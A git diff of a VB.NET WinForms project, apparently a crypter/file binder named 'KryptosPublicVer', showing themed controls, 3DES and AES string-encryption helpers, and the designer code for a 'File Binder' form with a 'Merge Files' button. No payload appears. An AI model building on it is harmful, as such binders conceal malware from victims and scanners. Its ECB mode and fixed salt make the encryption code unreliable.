G.DrawRectangle(P4, 1, 1, Width - 3, Height - 3) + End Sub + + Private Function DrawArrow(x As Integer, y As Integer, flip As Boolean) As GraphicsPath + Dim GP As New GraphicsPath() + + Dim W As Integer = 5 + Dim H As Integer = 9 + + If flip Then + GP.AddLine(x, y + 1, x, y + H + 1) + GP.AddLine(x, y + H, x + W - 1, y + W) + Else + GP.AddLine(x + W, y, x + W, y + H) + GP.AddLine(x + W, y + H, x + 1, y + W) + End If + + GP.CloseFigure() + Return GP + End Function + + Protected Overrides Sub OnSizeChanged(e As EventArgs) + InvalidateLayout() + End Sub + + Private Sub InvalidateLayout() + LSA = New Rectangle(0, 0, ButtonSize, Height) + RSA = New Rectangle(Width - ButtonSize, 0, ButtonSize, Height) + Shaft = New Rectangle(LSA.Right + 1, 0, Width - (ButtonSize * 2) - 1, Height) + + ShowThumb = ((_Maximum - _Minimum) > Shaft.Width) + + If ShowThumb Then + 'ThumbSize = Math.Max(0, 14) 'TODO: Implement this. + Thumb = New Rectangle(0, 1, ThumbSize, Height - 3) + End If + + RaiseEvent Scroll(Me) + InvalidatePosition() + End Sub + + Private Sub InvalidatePosition() + Thumb.X = CInt(GetProgress() * (Shaft.Width - ThumbSize)) + LSA.Width + Invalidate() + End Sub + + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + If e.Button = Windows.Forms.MouseButtons.Left AndAlso ShowThumb Then + If LSA.Contains(e.Location) Then + I1 = _Value - _SmallChange + ElseIf RSA.Contains(e.Location) Then + I1 = _Value + _SmallChange + Else + If Thumb.Contains(e.Location) Then + ThumbDown = True + MyBase.OnMouseDown(e) + Return + Else + If e.X < Thumb.X Then + I1 = _Value - _LargeChange + Else + I1 = _Value + _LargeChange + End If + End If + End If + + Value = Math.Min(Math.Max(I1, _Minimum), _Maximum) + InvalidatePosition() + End If + + MyBase.OnMouseDown(e) + End Sub + + Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) + If ThumbDown AndAlso ShowThumb Then + Dim ThumbPosition As Integer = e.X - LSA.Width - (ThumbSize \ 2) + Dim ThumbBounds As Integer = Shaft.Width - ThumbSize + + I1 = CInt((ThumbPosition / ThumbBounds) * (_Maximum - _Minimum)) + _Minimum + + Value = Math.Min(Math.Max(I1, _Minimum), _Maximum) + InvalidatePosition() + End If + + MyBase.OnMouseMove(e) + End Sub + + Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) + ThumbDown = False + MyBase.OnMouseUp(e) + End Sub + + Private Function GetProgress() As Double + Return (_Value - _Minimum) / (_Maximum - _Minimum) + End Function + +End Class + +Class NSContextMenu + Inherits ContextMenuStrip + + Sub New() + Renderer = New ToolStripProfessionalRenderer(New NSColorTable()) + ForeColor = Color.FromArgb(235, 235, 235) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + e.Graphics.TextRenderingHint = TextRenderingHint.ClearTypeGridFit + MyBase.OnPaint(e) + End Sub + +End Class + +Class NSColorTable + Inherits ProfessionalColorTable + + Private BackColor As Color = Color.FromArgb(55, 55, 55) + + Public Overrides ReadOnly Property ButtonSelectedBorder() As Color + Get + Return BackColor + End Get + End Property + + Public Overrides ReadOnly Property CheckBackground() As Color + Get + Return BackColor + End Get + End Property + + Public Overrides ReadOnly Property CheckPressedBackground() As Color + Get + Return BackColor + End Get + End Property + + Public Overrides ReadOnly Property CheckSelectedBackground() As Color + Get + Return BackColor + End Get + End Property + + Public Overrides ReadOnly Property ImageMarginGradientBegin() As Color + Get + Return BackColor + End Get + End Property + + Public Overrides ReadOnly Property ImageMarginGradientEnd() As Color + Get + Return BackColor + End Get + End Property + + Public Overrides ReadOnly Property ImageMarginGradientMiddle() As Color + Get + Return BackColor + End Get + End Property + + Public Overrides ReadOnly Property MenuBorder() As Color + Get + Return Color.FromArgb(25, 25, 25) + End Get + End Property + + Public Overrides ReadOnly Property MenuItemBorder() As Color + Get + Return BackColor + End Get + End Property + + Public Overrides ReadOnly Property MenuItemSelected() As Color + Get + Return Color.FromArgb(65, 65, 65) + End Get + End Property + + Public Overrides ReadOnly Property SeparatorDark() As Color + Get + Return Color.FromArgb(24, 24, 24) + End Get + End Property + + Public Overrides ReadOnly Property ToolStripDropDownBackground() As Color + Get + Return BackColor + End Get + End Property + +End Class + +'If you have made it this far it's not too late to turn back, you must not continue on! If you are trying to fullfill some +'sick act of masochism by studying the source of the ListView then, may god have mercy on your soul. +Class NSListView + Inherits Control + + Class NSListViewItem + Property Text As String + _ + Property SubItems As New List(Of NSListViewSubItem) + + Protected UniqueId As Guid + + Sub New() + UniqueId = Guid.NewGuid() + End Sub + + Public Overrides Function ToString() As String + Return Text + End Function + + Public Overrides Function Equals(obj As Object) As Boolean + If TypeOf obj Is NSListViewItem Then + Return (DirectCast(obj, NSListViewItem).UniqueId = UniqueId) + End If + + Return False + End Function + + End Class + + Class NSListViewSubItem + Property Text As String + + Public Overrides Function ToString() As String + Return Text + End Function + End Class + + Class NSListViewColumnHeader + Property Text As String + Property Width As Integer = 60 + + Public Overrides Function ToString() As String + Return Text + End Function + End Class + + Private _Items As New List(Of NSListViewItem) + _ + Public Property Items() As NSListViewItem() + Get + Return _Items.ToArray() + End Get + Set(ByVal value As NSListViewItem()) + _Items = New List(Of NSListViewItem)(value) + InvalidateScroll() + End Set + End Property + + Private _SelectedItems As New List(Of NSListViewItem) + Public ReadOnly Property SelectedItems() As NSListViewItem() + Get + Return _SelectedItems.ToArray() + End Get + End Property + + Private _Columns As New List(Of NSListViewColumnHeader) + _ + Public Property Columns() As NSListViewColumnHeader() + Get + Return _Columns.ToArray() + End Get + Set(ByVal value As NSListViewColumnHeader()) + _Columns = New List(Of NSListViewColumnHeader)(value) + InvalidateColumns() + End Set + End Property + + Private _MultiSelect As Boolean = True + Public Property MultiSelect() As Boolean + Get + Return _MultiSelect + End Get + Set(ByVal value As Boolean) + _MultiSelect = value + + If _SelectedItems.Count > 1 Then + _SelectedItems.RemoveRange(1, _SelectedItems.Count - 1) + End If + + Invalidate() + End Set + End Property + + Private ItemHeight As Integer = 24 + Public Overrides Property Font As Font + Get + Return MyBase.Font + End Get + Set(value As Font) + ItemHeight = CInt(Graphics.FromHwnd(Handle).MeasureString("@", Font).Height) + 6 + + If VS IsNot Nothing Then + VS.SmallChange = ItemHeight + VS.LargeChange = ItemHeight + End If + + MyBase.Font = value + InvalidateLayout() + End Set + End Property + +#Region " Item Helper Methods " + + 'Ok, you've seen everything of importance at this point; I am begging you to spare yourself. You must not read any further! + + Public Sub AddItem(text As String, ParamArray subItems As String()) + Dim Items As New List(Of NSListViewSubItem) + For Each I As String In subItems + Dim SubItem As New NSListViewSubItem() + SubItem.Text = I + Items.Add(SubItem) + Next + + Dim Item As New NSListViewItem() + Item.Text = text + Item.SubItems = Items + + _Items.Add(Item) + InvalidateScroll() + End Sub + + Public Sub RemoveItemAt(index As Integer) + _Items.RemoveAt(index) + InvalidateScroll() + End Sub + + Public Sub RemoveItem(item As NSListViewItem) + _Items.Remove(item) + InvalidateScroll() + End Sub + + Public Sub RemoveItems(items As NSListViewItem()) + For Each I As NSListViewItem In items + _Items.Remove(I) + Next + + InvalidateScroll() + End Sub + +#End Region + + Private VS As NSVScrollBar + + Sub New() + SetStyle(DirectCast(139286, ControlStyles), True) + SetStyle(ControlStyles.Selectable, True) + + P1 = New Pen(Color.FromArgb(55, 55, 55)) + P2 = New Pen(Color.FromArgb(24, 24, 24)) + P3 = New Pen(Color.FromArgb(65, 65, 65)) + + B1 = New SolidBrush(Color.FromArgb(62, 62, 62)) + B2 = New SolidBrush(Color.FromArgb(65, 65, 65)) + B3 = New SolidBrush(Color.FromArgb(47, 47, 47)) + B4 = New SolidBrush(Color.FromArgb(50, 50, 50)) + + VS = New NSVScrollBar + VS.SmallChange = ItemHeight + VS.LargeChange = ItemHeight + + AddHandler VS.Scroll, AddressOf HandleScroll + AddHandler VS.MouseDown, AddressOf VS_MouseDown + Controls.Add(VS) + + InvalidateLayout() + End Sub + + Protected Overrides Sub OnSizeChanged(e As EventArgs) + InvalidateLayout() + MyBase.OnSizeChanged(e) + End Sub + + Private Sub HandleScroll(sender As Object) + Invalidate() + End Sub + + Private Sub InvalidateScroll() + VS.Maximum = (_Items.Count * ItemHeight) + Invalidate() + End Sub + + Private Sub InvalidateLayout() + VS.Location = New Point(Width - VS.Width - 1, 1) + VS.Size = New Size(18, Height - 2) + + Invalidate() + End Sub + + Private ColumnOffsets As Integer() + Private Sub InvalidateColumns() + Dim Width As Integer = 3 + ColumnOffsets = New Integer(_Columns.Count - 1) {} + + For I As Integer = 0 To _Columns.Count - 1 + ColumnOffsets(I) = Width + Width += Columns(I).Width + Next + + Invalidate() + End Sub + + Private Sub VS_MouseDown(sender As Object, e As MouseEventArgs) + Focus() + End Sub + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + Focus() + + If e.Button = Windows.Forms.MouseButtons.Left Then + Dim Offset As Integer = CInt(VS.Percent * (VS.Maximum - (Height - (ItemHeight * 2)))) + Dim Index As Integer = ((e.Y + Offset - ItemHeight) \ ItemHeight) + + If Index > _Items.Count - 1 Then Index = -1 + + If Not Index = -1 Then + 'TODO: Handle Shift key + + If ModifierKeys = Keys.Control AndAlso _MultiSelect Then + If _SelectedItems.Contains(_Items(Index)) Then + _SelectedItems.Remove(_Items(Index)) + Else + _SelectedItems.Add(_Items(Index)) + End If + Else + _SelectedItems.Clear() + _SelectedItems.Add(_Items(Index)) + End If + End If + + Invalidate() + End If + + MyBase.OnMouseDown(e) + End Sub + + Private P1, P2, P3 As Pen + Private B1, B2, B3, B4 As SolidBrush + Private GB1 As LinearGradientBrush + + 'I am so sorry you have to witness this. I tried warning you. ;.; + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + G = e.Graphics + G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit + + G.Clear(BackColor) + + Dim X, Y As Integer + Dim H As Single + + G.DrawRectangle(P1, 1, 1, Width - 3, Height - 3) + + Dim R1 As Rectangle + Dim CI As NSListViewItem + + Dim Offset As Integer = CInt(VS.Percent * (VS.Maximum - (Height - (ItemHeight * 2)))) + + Dim StartIndex As Integer + If Offset = 0 Then StartIndex = 0 Else StartIndex = (Offset \ ItemHeight) + + Dim EndIndex As Integer = Math.Min(StartIndex + (Height \ ItemHeight), _Items.Count - 1) + + For I As Integer = StartIndex To EndIndex + CI = Items(I) + + R1 = New Rectangle(0, ItemHeight + (I * ItemHeight) + 1 - Offset, Width, ItemHeight - 1) + + H = G.MeasureString(CI.Text, Font).Height + Y = R1.Y + CInt((ItemHeight / 2) - (H / 2)) + + If _SelectedItems.Contains(CI) Then + If I Mod 2 = 0 Then + G.FillRectangle(B1, R1) + Else + G.FillRectangle(B2, R1) + End If + Else + If I Mod 2 = 0 Then + G.FillRectangle(B3, R1) + Else + G.FillRectangle(B4, R1) + End If + End If + + G.DrawLine(P2, 0, R1.Bottom, Width, R1.Bottom) + + If Columns.Length > 0 Then + R1.Width = Columns(0).Width + G.SetClip(R1) + End If + + 'TODO: Ellipse text that overhangs seperators. + G.DrawString(CI.Text, Font, Brushes.Black, 10, Y + 1) + G.DrawString(CI.Text, Font, Brushes.WhiteSmoke, 9, Y) + + If CI.SubItems IsNot Nothing Then + For I2 As Integer = 0 To Math.Min(CI.SubItems.Count, _Columns.Count) - 1 + X = ColumnOffsets(I2 + 1) + 4 + + R1.X = X + R1.Width = Columns(I2).Width + G.SetClip(R1) + + G.DrawString(CI.SubItems(I2).Text, Font, Brushes.Black, X + 1, Y + 1) + G.DrawString(CI.SubItems(I2).Text, Font, Brushes.WhiteSmoke, X, Y) + Next + End If + + G.ResetClip() + Next + + R1 = New Rectangle(0, 0, Width, ItemHeight) + + GB1 = New LinearGradientBrush(R1, Color.FromArgb(60, 60, 60), Color.FromArgb(55, 55, 55), 90.0F) + G.FillRectangle(GB1, R1) + G.DrawRectangle(P3, 1, 1, Width - 22, ItemHeight - 2) + + Dim LH As Integer = Math.Min(VS.Maximum + ItemHeight - Offset, Height) + + Dim CC As NSListViewColumnHeader + For I As Integer = 0 To _Columns.Count - 1 + CC = Columns(I) + + H = G.MeasureString(CC.Text, Font).Height + Y = CInt((ItemHeight / 2) - (H / 2)) + X = ColumnOffsets(I) + G.DrawString(CC.Text, Font, Brushes.Black, X + 1, Y + 1) + G.DrawString(CC.Text, Font, Brushes.WhiteSmoke, X, Y) + + G.DrawLine(P2, X - 3, 0, X - 3, LH) + G.DrawLine(P3, X - 2, 0, X - 2, ItemHeight) + Next + + G.DrawRectangle(P2, 0, 0, Width - 1, Height - 1) + + G.DrawLine(P2, 0, ItemHeight, Width, ItemHeight) + G.DrawLine(P2, VS.Location.X - 1, 0, VS.Location.X - 1, Height) + End Sub + + Protected Overrides Sub OnMouseWheel(e As MouseEventArgs) + Dim Move As Integer = -((e.Delta * SystemInformation.MouseWheelScrollLines \ 120) * (ItemHeight \ 2)) + + Dim Value As Integer = Math.Max(Math.Min(VS.Value + Move, VS.Maximum), VS.Minimum) + VS.Value = Value + + MyBase.OnMouseWheel(e) + End Sub + +End Class \ No newline at end of file diff --git a/scode (KryptosPublicVer/.DS_Store b/scode (KryptosPublicVer/.DS_Store new file mode 100644 index 0000000..b4752a1 Binary files /dev/null and b/scode (KryptosPublicVer/.DS_Store differ diff --git a/scode (KryptosPublicVer/3DES.vb b/scode (KryptosPublicVer/3DES.vb new file mode 100644 index 0000000..d469471 --- /dev/null +++ b/scode (KryptosPublicVer/3DES.vb @@ -0,0 +1,22 @@ +Imports System.Text +Imports System.Security.Cryptography + +Public Class _3DES + Public Shared Function Encrypt(ByVal toEncrypt As String, ByVal key As String, ByVal useHashing As Boolean) As String + Dim keyArray As Byte() + Dim toEncryptArray As Byte() = UTF8Encoding.UTF8.GetBytes(toEncrypt) + If useHashing Then + Dim hashmd5 As New MD5CryptoServiceProvider() + keyArray = hashmd5.ComputeHash(UTF8Encoding.UTF8.GetBytes(key)) + Else + keyArray = UTF8Encoding.UTF8.GetBytes(key) + End If + Dim tdes As New TripleDESCryptoServiceProvider() + tdes.Key = keyArray + tdes.Mode = CipherMode.ECB + tdes.Padding = PaddingMode.PKCS7 + Dim cTransform As ICryptoTransform = tdes.CreateEncryptor() + Dim resultArray As Byte() = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length) + Return Convert.ToBase64String(resultArray, 0, resultArray.Length) + End Function +End Class diff --git a/scode (KryptosPublicVer/AES.vb b/scode (KryptosPublicVer/AES.vb new file mode 100644 index 0000000..2c1a37b --- /dev/null +++ b/scode (KryptosPublicVer/AES.vb @@ -0,0 +1,22 @@ +Imports System.Security.Cryptography + +Public Class AES + Public Shared Function Rijndaelcrypt(ByVal File As String, ByVal Key As String) + Dim oAesProvider As New RijndaelManaged + Dim btClear() As Byte + Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8} + Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, btSalt) + oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length) + oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length) + Dim ms As New IO.MemoryStream + Dim cs As New CryptoStream(ms, _ + oAesProvider.CreateEncryptor(), _ + CryptoStreamMode.Write) + btClear = System.Text.Encoding.UTF8.GetBytes(File) + cs.Write(btClear, 0, btClear.Length) + cs.Close() + File = Convert.ToBase64String(ms.ToArray) + Return File + End Function + +End Class diff --git a/scode (KryptosPublicVer/Binder.Designer.vb b/scode (KryptosPublicVer/Binder.Designer.vb new file mode 100644 index 0000000..31172f4 --- /dev/null +++ b/scode (KryptosPublicVer/Binder.Designer.vb @@ -0,0 +1,375 @@ + _ +Partial Class Binder + Inherits System.Windows.Forms.Form + + 'Form overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Private Sub InitializeComponent() + Dim Bloom1 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom2 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom3 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom4 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom5 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom6 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom7 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom8 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom9 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom10 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom11 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom12 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom13 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom14 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom15 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom18 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom19 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom20 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom21 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom22 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom23 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom24 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom25 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom26 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom27 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom28 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom29 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom30 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom31 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom32 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom16 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom17 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Binder)) + Me.CyberTheme1 = New KryptosPublicVer.CyberTheme() + Me.CyberTopButton1 = New KryptosPublicVer.CyberTopButton() + Me.CyberGroupBox2 = New KryptosPublicVer.CyberGroupBox() + Me.CyberTextBox3 = New KryptosPublicVer.CyberTextBox() + Me.CyberCheckBox1 = New KryptosPublicVer.CyberCheckBox() + Me.CyberButton1 = New KryptosPublicVer.CyberButton() + Me.CyberGroupBox1 = New KryptosPublicVer.CyberGroupBox() + Me.CyberButton3 = New KryptosPublicVer.CyberButton() + Me.CyberButton2 = New KryptosPublicVer.CyberButton() + Me.CyberTextBox2 = New KryptosPublicVer.CyberTextBox() + Me.CyberTextBox1 = New KryptosPublicVer.CyberTextBox() + Me.CyberButton4 = New KryptosPublicVer.CyberButton() + Me.CyberTheme1.SuspendLayout() + Me.CyberGroupBox2.SuspendLayout() + Me.CyberGroupBox1.SuspendLayout() + Me.SuspendLayout() + ' + 'CyberTheme1 + ' + Me.CyberTheme1.BackColor = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Me.CyberTheme1.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Bloom1.Name = "Back" + Bloom1.Value = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Bloom2.Name = "Gradient1" + Bloom2.Value = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Bloom3.Name = "Gradient2" + Bloom3.Value = System.Drawing.Color.FromArgb(CType(CType(20, Byte), Integer), CType(CType(20, Byte), Integer), CType(CType(20, Byte), Integer)) + Bloom4.Name = "Border1" + Bloom4.Value = System.Drawing.Color.FromArgb(CType(CType(34, Byte), Integer), CType(CType(34, Byte), Integer), CType(CType(34, Byte), Integer)) + Bloom5.Name = "Border2" + Bloom5.Value = System.Drawing.Color.FromArgb(CType(CType(49, Byte), Integer), CType(CType(49, Byte), Integer), CType(CType(49, Byte), Integer)) + Bloom6.Name = "Border3" + Bloom6.Value = System.Drawing.Color.Black + Bloom7.Name = "Line1" + Bloom7.Value = System.Drawing.Color.Black + Bloom8.Name = "Line2" + Bloom8.Value = System.Drawing.Color.Black + Bloom9.Name = "Hatch1" + Bloom9.Value = System.Drawing.Color.Black + Bloom10.Name = "Hatch2" + Bloom10.Value = System.Drawing.Color.FromArgb(CType(CType(34, Byte), Integer), CType(CType(34, Byte), Integer), CType(CType(34, Byte), Integer)) + Bloom11.Name = "Shade1" + Bloom11.Value = System.Drawing.Color.FromArgb(CType(CType(70, Byte), Integer), CType(CType(0, Byte), Integer), CType(CType(0, Byte), Integer), CType(CType(0, Byte), Integer)) + Bloom12.Name = "Shade2" + Bloom12.Value = System.Drawing.Color.Transparent + Bloom13.Name = "Text" + Bloom13.Value = System.Drawing.Color.LightBlue + Me.CyberTheme1.Colors = New KryptosPublicVer.Bloom() {Bloom1, Bloom2, Bloom3, Bloom4, Bloom5, Bloom6, Bloom7, Bloom8, Bloom9, Bloom10, Bloom11, Bloom12, Bloom13} + Me.CyberTheme1.Controls.Add(Me.CyberTopButton1) + Me.CyberTheme1.Controls.Add(Me.CyberGroupBox2) + Me.CyberTheme1.Controls.Add(Me.CyberButton1) + Me.CyberTheme1.Controls.Add(Me.CyberGroupBox1) + Me.CyberTheme1.Customization = "GRkZ/yMjI/8UFBT/IiIi/zExMf8AAAD/AAAA/wAAAP8AAAD/IiIi/wAAAEb///8A5tit/w==" + Me.CyberTheme1.Dock = System.Windows.Forms.DockStyle.Fill + Me.CyberTheme1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.CyberTheme1.Image = Nothing + Me.CyberTheme1.Location = New System.Drawing.Point(0, 0) + Me.CyberTheme1.Movable = True + Me.CyberTheme1.Name = "CyberTheme1" + Me.CyberTheme1.NoRounding = False + Me.CyberTheme1.Sizable = False + Me.CyberTheme1.Size = New System.Drawing.Size(284, 246) + Me.CyberTheme1.TabIndex = 0 + Me.CyberTheme1.Text = "Piesma {File Binder}" + Me.CyberTheme1.TransparencyKey = System.Drawing.Color.Empty + ' + 'CyberTopButton1 + ' + Bloom14.Name = "BackColor" + Bloom14.Value = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer)) + Bloom15.Name = "TextColor" + Bloom15.Value = System.Drawing.Color.LightBlue + Me.CyberTopButton1.Colors = New KryptosPublicVer.Bloom() {Bloom14, Bloom15} + Me.CyberTopButton1.Cursor = System.Windows.Forms.Cursors.Arrow + Me.CyberTopButton1.Customization = "KCgo/+bYrf8=" + Me.CyberTopButton1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.CyberTopButton1.Image = Nothing + Me.CyberTopButton1.Location = New System.Drawing.Point(237, 0) + Me.CyberTopButton1.Name = "CyberTopButton1" + Me.CyberTopButton1.NoRounding = False + Me.CyberTopButton1.Size = New System.Drawing.Size(35, 22) + Me.CyberTopButton1.TabIndex = 3 + Me.CyberTopButton1.Text = "X" + Me.CyberTopButton1.Transparent = False + ' + 'CyberGroupBox2 + ' + Me.CyberGroupBox2.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.CyberGroupBox2.Colors = New KryptosPublicVer.Bloom(-1) {} + Me.CyberGroupBox2.Controls.Add(Me.CyberButton4) + Me.CyberGroupBox2.Controls.Add(Me.CyberTextBox3) + Me.CyberGroupBox2.Controls.Add(Me.CyberCheckBox1) + Me.CyberGroupBox2.Customization = "" + Me.CyberGroupBox2.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.CyberGroupBox2.Image = Nothing + Me.CyberGroupBox2.Location = New System.Drawing.Point(12, 123) + Me.CyberGroupBox2.Movable = True + Me.CyberGroupBox2.Name = "CyberGroupBox2" + Me.CyberGroupBox2.NoRounding = False + Me.CyberGroupBox2.Sizable = True + Me.CyberGroupBox2.Size = New System.Drawing.Size(260, 80) + Me.CyberGroupBox2.TabIndex = 2 + Me.CyberGroupBox2.Text = "Icon" + Me.CyberGroupBox2.TextSub = Nothing + Me.CyberGroupBox2.TransparencyKey = System.Drawing.Color.Empty + ' + 'CyberTextBox3 + ' + Me.CyberTextBox3.Colors = New KryptosPublicVer.Bloom(-1) {} + Me.CyberTextBox3.Customization = "" + Me.CyberTextBox3.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.CyberTextBox3.Image = Nothing + Me.CyberTextBox3.Location = New System.Drawing.Point(14, 53) + Me.CyberTextBox3.MaximumSize = New System.Drawing.Size(1000, 20) + Me.CyberTextBox3.MinimumSize = New System.Drawing.Size(100, 20) + Me.CyberTextBox3.Multilined = False + Me.CyberTextBox3.Name = "CyberTextBox3" + Me.CyberTextBox3.NoRounding = False + Me.CyberTextBox3.Size = New System.Drawing.Size(187, 20) + Me.CyberTextBox3.TabIndex = 2 + Me.CyberTextBox3.Text = "Icon Input" + Me.CyberTextBox3.Transparent = False + ' + 'CyberCheckBox1 + ' + Me.CyberCheckBox1.CheckedState = False + Bloom18.Name = "CheckBorderOut" + Bloom18.Value = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Bloom19.Name = "CheckBorderIn" + Bloom19.Value = System.Drawing.Color.FromArgb(CType(CType(59, Byte), Integer), CType(CType(59, Byte), Integer), CType(CType(59, Byte), Integer)) + Bloom20.Name = "TextColor" + Bloom20.Value = System.Drawing.Color.LightBlue + Bloom21.Name = "CheckBack1" + Bloom21.Value = System.Drawing.Color.FromArgb(CType(CType(132, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(240, Byte), Integer)) + Bloom22.Name = "CheckBack2" + Bloom22.Value = System.Drawing.Color.LightBlue + Bloom23.Name = "CheckFore1" + Bloom23.Value = System.Drawing.Color.LightBlue + Bloom24.Name = "CheckFore2" + Bloom24.Value = System.Drawing.Color.FromArgb(CType(CType(42, Byte), Integer), CType(CType(242, Byte), Integer), CType(CType(77, Byte), Integer)) + Bloom25.Name = "ColorUncheck" + Bloom25.Value = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Bloom26.Name = "BackColor" + Bloom26.Value = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Me.CyberCheckBox1.Colors = New KryptosPublicVer.Bloom() {Bloom18, Bloom19, Bloom20, Bloom21, Bloom22, Bloom23, Bloom24, Bloom25, Bloom26} + Me.CyberCheckBox1.Customization = "GRkZ/zs7O//m2K3/8MCE/+bYrf/m2K3/TfIq/yMjI/8ZGRn/" + Me.CyberCheckBox1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.CyberCheckBox1.Image = Nothing + Me.CyberCheckBox1.Location = New System.Drawing.Point(14, 31) + Me.CyberCheckBox1.MaximumSize = New System.Drawing.Size(600, 16) + Me.CyberCheckBox1.MinimumSize = New System.Drawing.Size(16, 16) + Me.CyberCheckBox1.Name = "CyberCheckBox1" + Me.CyberCheckBox1.NoRounding = False + Me.CyberCheckBox1.Size = New System.Drawing.Size(72, 16) + Me.CyberCheckBox1.TabIndex = 0 + Me.CyberCheckBox1.Text = "Use Icon" + Me.CyberCheckBox1.Transparent = False + ' + 'CyberButton1 + ' + Bloom27.Name = "BackColor" + Bloom27.Value = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer)) + Bloom28.Name = "TextColor" + Bloom28.Value = System.Drawing.Color.LightBlue + Me.CyberButton1.Colors = New KryptosPublicVer.Bloom() {Bloom27, Bloom28} + Me.CyberButton1.Cursor = System.Windows.Forms.Cursors.Arrow + Me.CyberButton1.Customization = "KCgo/+bYrf8=" + Me.CyberButton1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.CyberButton1.Image = Nothing + Me.CyberButton1.Location = New System.Drawing.Point(70, 209) + Me.CyberButton1.Name = "CyberButton1" + Me.CyberButton1.NoRounding = False + Me.CyberButton1.Size = New System.Drawing.Size(143, 25) + Me.CyberButton1.TabIndex = 1 + Me.CyberButton1.Text = "Merge Files" + Me.CyberButton1.Transparent = False + ' + 'CyberGroupBox1 + ' + Me.CyberGroupBox1.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.CyberGroupBox1.Colors = New KryptosPublicVer.Bloom(-1) {} + Me.CyberGroupBox1.Controls.Add(Me.CyberButton3) + Me.CyberGroupBox1.Controls.Add(Me.CyberButton2) + Me.CyberGroupBox1.Controls.Add(Me.CyberTextBox2) + 